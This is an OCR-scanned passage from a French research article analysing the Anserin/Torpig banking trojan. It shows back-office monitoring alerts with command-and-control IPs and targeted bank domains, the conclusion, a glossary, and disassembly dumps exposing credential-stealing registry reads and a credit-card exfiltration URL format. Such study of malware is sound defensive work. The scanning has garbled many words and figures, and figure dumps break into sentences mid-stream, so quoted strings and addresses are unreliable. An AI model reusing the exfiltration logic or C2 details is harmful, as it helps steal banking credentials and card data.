Anserin MSID que nous utilisions. Le malware génere aléatoirement cet identifiant lors de I'infection.
Nous avons mis en place un module de génération aléatoire d’identifiant afin de contourner ce
blacklistage. L’identifiant MSID utilisé pour le monitoring est donc renouvelé périodiquement.

Malgré la complexité de Parchitecture Anserin et I'ingéniosité dont font preuve les pirates, ces
derniers restent humains et font également des erreurs. Lors d’une mise a jour du Back-Office, nous
avons obtenu de fagon fortuite une version non obfusqué de la DLL principale. La librairie était
stockée au sein d'un répertoire temporaire qui n’a été accessible que pendant quelques jours.

La figure 6.4 présente un extrait du code de la librairie Anserin. Ces données sont utilisées pour
générer les noms de domaines du Collector Server en fonction du mois en cours.

Une premiere analyse de cette librairie nous a permis d’identifier d’autres fonctionnalités du
malware. La figure 6.4 montre que le malware tente d’accéder aux clés de registre contenant la
configuration des comptes de messageries utilisés par Outlook. Plusieurs applications sont ainsi
recherchées au sein de la base de registre (clients de messagerie, clients FTP,...) afin de voler des
identifiants de connexions.

La figure 6.4illustre également la présence d'un module de traitement des cartes de crédit. Le
malware semble récupérer les informations des cartes bancaires et les envoyer a 1'Injector Server
par le biais d’une requéte HTTP dont 'URL respecte le format suivant : /Po2Ea7/card=....
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Alerte Anserin : Tue Mar 18 18:26:11 2008

Hi, this is the Anserin/Torpig HeartBit reporter.

» Current Injector Site : 66.240.237.195

Server status : DOWN

« Current Collector Site : 67.228.110.122

Server status : UP

F1c. 23: Disponibilité du Back-Office de Anserin

Alerte Anserin : Tue Mar 18 23:27:08 2008
Hi, this is the Anserin/Torpig update and upgrade analyser.

A new update of the malware configuration's file has been released.

ADDED CONTENT DELETED CONTENT
%

75.126.216.26 66.240.237.195

F*raiffeisen.it Fwww.nextbanking.it

www.bibanking.it ~2r11111%"(

www.bpmbanking.it
www.crabanking.it
www.nextbanking.it
~zr11111%"()

--Xmco Anserin Analyser v2.01--

F1G. 24: Mise a jour du fichier de configuration

7 Conclusion

L’observation in vivo de ce banker nous a appris beaucoup de choses sur le fonctionnement d’un
tel malware et également sur les personnes qui le controlent.

Contrairement & une étude uniquement basée sur une décompilation statique du code qui nous
aurait certainement appris comment Anserin détecte s’il est exécuté dans un environnement vir-
tualisé ou encore comment son packer déchiffre le code exécutable en mémoire bloc par bloc; nous
avons préféré étudier son comportement dans une situation de fonctionnement réelle. Certaines
astuces de son code nous sont d’ailleurs restées obscures.

Que pouvons-nous conclure de I'étude d’'un tel banker? Avant tout, nous avons été surpris par
la capacité des pirates a adapter judicieusement de faux formulaires afin de tromper les victimes et
de contourner les protections mises en place par les banques. Anserin combine les capacités d’un
virus tres élaboré avec des attaques de social engineering. Certains diront méme qu’il s’agit de la
combinaison parfaite. Notre étude nous a démontré qu’il est impossible de se passer completement
de Tutilisation d’une machine (physique ou émulée) réellement infectée. En effet, des robots de
monitoring ne peuvent pas tout scripter et prévoir les modifications du protocole C&C. Nous avons
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Alerte Anserin : Wed Mar 19 16:10:12 2008

Hi, this is the Anserin/Torpig update and upgrade analyser.

A new update of the malware Injection URL listing has been released

PLEASE, Check manually URLs linked to

ADDED URL DELETED URL
20955*.bbobank.ch 20901 bbobank.ch
online.sella.ch

www.blbanking.it
www.crabanking.it

--Xmco Anserin Analyser v2.01--

F1G. 25: Mise a jour de la liste des sites Web ciblés par 1’ Injector Server

Alerte Anserin : Mon Feb 4 06:17:16 2008
Hi, this is the Anserin/Torpig update and upgrade analyser.

A new update of the FAKE PAGE : inte dria.it has been released.

The full page can be viewed to the following link : /it, Jt.php
ADDED CONTENT DELETED CONTENT

» Demo

Sicurezza

Per n di stato migliorato.

Ti preghiame di inserirci la tua password dispositiva per completare |'autorizzazione.

F1G. 26: Mise & jour d’un formulaire falsifié de 1’ Injector Server

également été surpris par la réactivité des pirates qui ont rapidement blacklisté ’adresse IP de nos
robots qui tentaient de monitorer le Back-Office de Anserin.

Il est ensuite incontournable de se poser la question : & qui profite le crime ? Tous les enquéteurs
savent qu'il faut suivre la piste de I'argent pour démasquer le criminel. La médiatisation du RBN
avec les attaques MPACK a provoqué une explosion de cette organisation criminelle. Les pirates
louent désormais des serveurs dédiés chez des hébergeurs commerciaux Bullet-Proof qui ont pi-
gnon sur rue aux Etats-Unis. Les autorités américaines pourraient perquisitionner et obtenir les
coordonnées bancaires des loueurs. Des spécialistes en blanchiment d’argent et en démontage de
sociétés-écrans (et notamment la société Nevacon LTD) devront certainement étre de la partie.
Toujours sur la piste de 'argent, un systeme de blanchiment d’argent comment celui qui est tres
probablement utilisé par les personnes controlant Anserin a besoin de mules. Un réseau de mules
a d’ailleurs été arrété par les autorités hollandaises au début de I’année 2008. Ces mules étaient
payées pour ponctionner de I'argent sur des identifiants volés, 'argent était ensuite transféré vers
des comptes en Russie.

Les banques peuvent-elles se protéger de Anserin et des autres bankers? Les banques doivent tout
d’abord détecter le comportement des mules. Ensuite, comme nous 1’avons vu, les protections telles
que les claviers virtuels sont déja caduques face a Anserin. Distribuer des jetons RSA de génération
de mot de passe a utilisation unique n’est pas une solution envisageable & grande échelle. A Pheure
actuelle, une protection viable réside dans I'implémentation d’une authentification double-canal lors
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_data segment para public 'DATA' use32
assume cs:_data

-data: 00403000 dd offset afAnj
dd offset akEbf
dd offset aArm
dd offset aPra
dd offset aAym
dd offset alnj
dd offset aUlj
dd offset alag
dd offset aEsp
dd offset akKot
dd offset a0nv
dd offset akEdc
afAbcdefghijklmn db 'ABCDEFGHIJELMHOPQRSTUVMXYZabcdefghijklmnopqrstuvwzyz 81234567

db "89+7°,8
align 4

af12345678%abed db " B123456789ABCDEF ' , 8
align 266h

data ends

F1c. 27: Extrait de la librairie Anserin non obfusqué

e 004154E 4 000a000F C POP3 Paszword2
' s 004154F 4 0000a0aF C IMAF Pagsword2
raic: 00415504 0000001 3 C
C

ranc: 00415550 oonoooac

C POP3 Server
" renc: 00415550 0o0aoo0ac C IMAP Server
" ranc: 00415568 00000010 C HTTPMail Server
" ranc: 00415578 000a000F C POP3 User Mame
" ranc: 00415588 000a000F C IMAP User Mame
' rac: 00415598 0o0ooo1 3 C HTTPMail User Mame
w2 rgrc: 00415540 00oa0oac C SMTP Server

F1G. 28: Extrait de la librairie Anserin — Acces au registre Windows

des opérations de virement sur des numéros de compte IBAN : le client regoit alors un SMS lui
demandant de confirmer ses demandes de transfert.

Pour revenir a des considérations plus techniques, que peut-on attendre comme évolution future
de Anserin et de son Back-Office?

Vient tout d’abord l'utilisation des Fast-Flux Networks afin d’empécher les autorités de remonter
a Padresse source. A priori, cette évolution est peu probable. Les pirates ne semblent pas se soucier
de telles enquétes et privilégient nettement 1'utilisation de serveurs stables et d’acces a tres haut
débit. L’utilisation d’'un Fast-Fluz risquerait de ralentir et de fragiliser le mécanisme d’injection de
faux formulaire : ce serait du chiffre d’affaires en moins.

Vient alors I'utilisation de techniques encore plus performante pour rendre Anserin indétectable 7
C’est malheureusement déja fait. En janvier 2008, un nouveau malware est apparu : le MBR Rootkit
ou Mebroot. Ce malware est rendu indétectable du fait qu’il démarre avant le systeme d’exploita-
tion et peut ainsi cacher sa présence. Mebroot est I’évolution de Anserin puisque sa charge utile
est fonctionnement treés proche de Anserin. L’analyse in vivo devient alors incontournable pour
comprendre comment ce malware évolue.

Si le banker utilise des techniques de rootkit, comment s’en protéger? Il est tout d’abord
nécessaire de ne pas étre contaminé. Nous n’avons pas évoqué ce sujet dans cet article, mais Anserin
a été largement diffusé par le biais d’attaques web exploitant des failles de sécurité d’Internet Ex-
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Address | Length | T_l,lpel String |
A rerc: 00427B D4 00000024 [ [4-8]hdihdshdb s db b db b b A

' rere:00427BF8 00000034 C FindCreditCardMurber. Could nat compile regesp s’

C ardMurmber. Murmnber of

' rarc:00427CEC Q000003F C FindCreditCardMumber. Can't allocate memory for regexp matches

' rarc: 00427080 Q000003c C FindCreditCardMumber. Can't allocate memory for scan buffer

' e 00427008 0000002E C FindCreditCardMumber. The string iz founded:

' ranc: 00427008 noooooza C FindCreditCardMumber. Previous symb: %o

' rerc: 00427030 00000024 C FindCreditCardMurnber. Mest symb: %c

' rsrc: 00427054 000000zF C FindCreditCardMumber. CC % alidation status: %d

' rerc: 004270084 00000020 C FindCreditCardMumber. CC Mumber is not exact

' rarc:004270DB4 0000002E C CatchCreditCard. Credit card number naot found

" e 004270DE4 00000028 [ CatchCreditCard. Credit card number: %5

' rerc:00427E10 Q0000043 C CatchCreditCard. Failed to allocate memory for composing coard wl

" e 00427E58 0000007 4 [ card=%skbld=%sbvr=%dburl=

" s 00427E74 00000006 [ bref=

" e 00427E7C 00000003 C /Po2Ead/

*rarci00427E 88 0000002E C CatchCreditCard. Failed to create |E instance

' rarc:D0427ERS 00000030 C CatchCreditCard. Failed to get 1E window handle

F1G. 29: Extrait de la librairie Anserin — Gestion des Cartes de Crédits

plorer (Iframe Gang) ou avec des fichiers attachés a des emails. Appliquer les correctifs de sécurité
sur ses systemes demeure toujours une protection incontournable.

S’il devient tres difficile d’empécher 'internaute moyen de se faire infecter ou de supprimer le
malware une fois installé sur le systeme, il est toujours possible de couper la connexion avec le
Back-Office. Les adresses IP changent régulierement, mais il est encore possible de bannir ces IPs
des réseaux Internet. Il s’agira alors d’une tache a laquelle les FAI devront s’atteler rapidement.
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8 Glossaire

Anserin Le nom du malware en question. Egalement connu sous le nom de Torpig,
Sinowal. Les postes infectés par ce malware sont désignés sous le terme
d’agent Anserin.

banker Catégorie de malware dont le but est de voler des identifiants de
connexions a des banques en ligne.
C&C acronyme du terme ”Command And Control”. Il s’agit du terme

désignant le protocole réseau HTTP utilisé par les agents Anserin pour
communiquer avec leur Back-Office.

Back-Office Terme générique désignant les serveurs web controlant les postes vérolés
par Anserin et collectant les données volées. Le Back-Office d’Anserin
est actuellement composé de deux serveurs distincts : le Collector Server
et I'Injector Server.

Formulaire mali- Désigne le formulaire HT' ML contrefait distribué par I’ Injector Server qui

cieux (ou ”faux est proposé a la victime lorsqu’elle visite la page de login d’une banque

formulaire”) en ligne. Il existe un formulaire pour chacune des banques gérées par
Anserin.

Collector Server Désigne 'un des serveurs web du Back-Office de Anserin. Ce serveur

(ou ”Collector”) web est dédié a la collecte des traces volées par les agents Anserin.
Chaque agent envoie ses traces volées au Collector. Les agents Anserin
se connectent également a ce serveur pour se mettre a jour.

Injector Server Désigne I'un des serveurs Web du Back-Office de Anserin. Ce serveur

(ou « Injector ») contient les mises & jour des formulaires malicieux & injecter. Lorsqu’une
victime navigue sur la page de login d’une banque en ligne, agent An-
serin récupere a la volée le formulaire malicieux aupres de 'Injector afin
de Dafficher a la place de véritable formulaire de la banque.

Banque en ligne Désigne une banque proposant a ses clients un site web permettant de
consulter et de réaliser des opérations sur leurs comptes depuis un site

Internet.
Fichier de col- Désigne un fichier ASCII dans lequel Anserin inscrit les données sniffées
lecte a la sortie d’'Internet Explorer et contenant ainsi les identifiants et mots

de passe volés. Ce fichier contient le contenu des données postées par les
formulaires malicieux (POST HTTP).

Phishing Technique de piratage basé sur de I'ingénierie sociale dont le but est de
soutirer des informations personnelles (mot de passe, numéro de cartes
de crédit. ..) aux victimes. Cette attaque repose sur l’envoi d’emails et
la création de sites Web falsifiés.

Typosquatting Technique de piratage basé sur 'utilisation d’un nom de domaine tres
proche d’un site Web légitime. Cette attaque est fréquemment utilisée
avec du Phishing.

Packer Utilitaire permettant de compresser et de chiffrer le contenu d’un pro-
gramme. Cette opération permet d’empécher/ralentir les analyses par
désassemblage.

CVVv2 Code de sécurité d'une carte VISA. Il s’agit des trois chiffres a I'arriere
d’une carte de crédit.

MPACK Framework d’exploitation de vulnérabilités des navigateurs Web. Ce

Framework peut étre utilisé pour installer Anserin sur des machines
vulnérables.



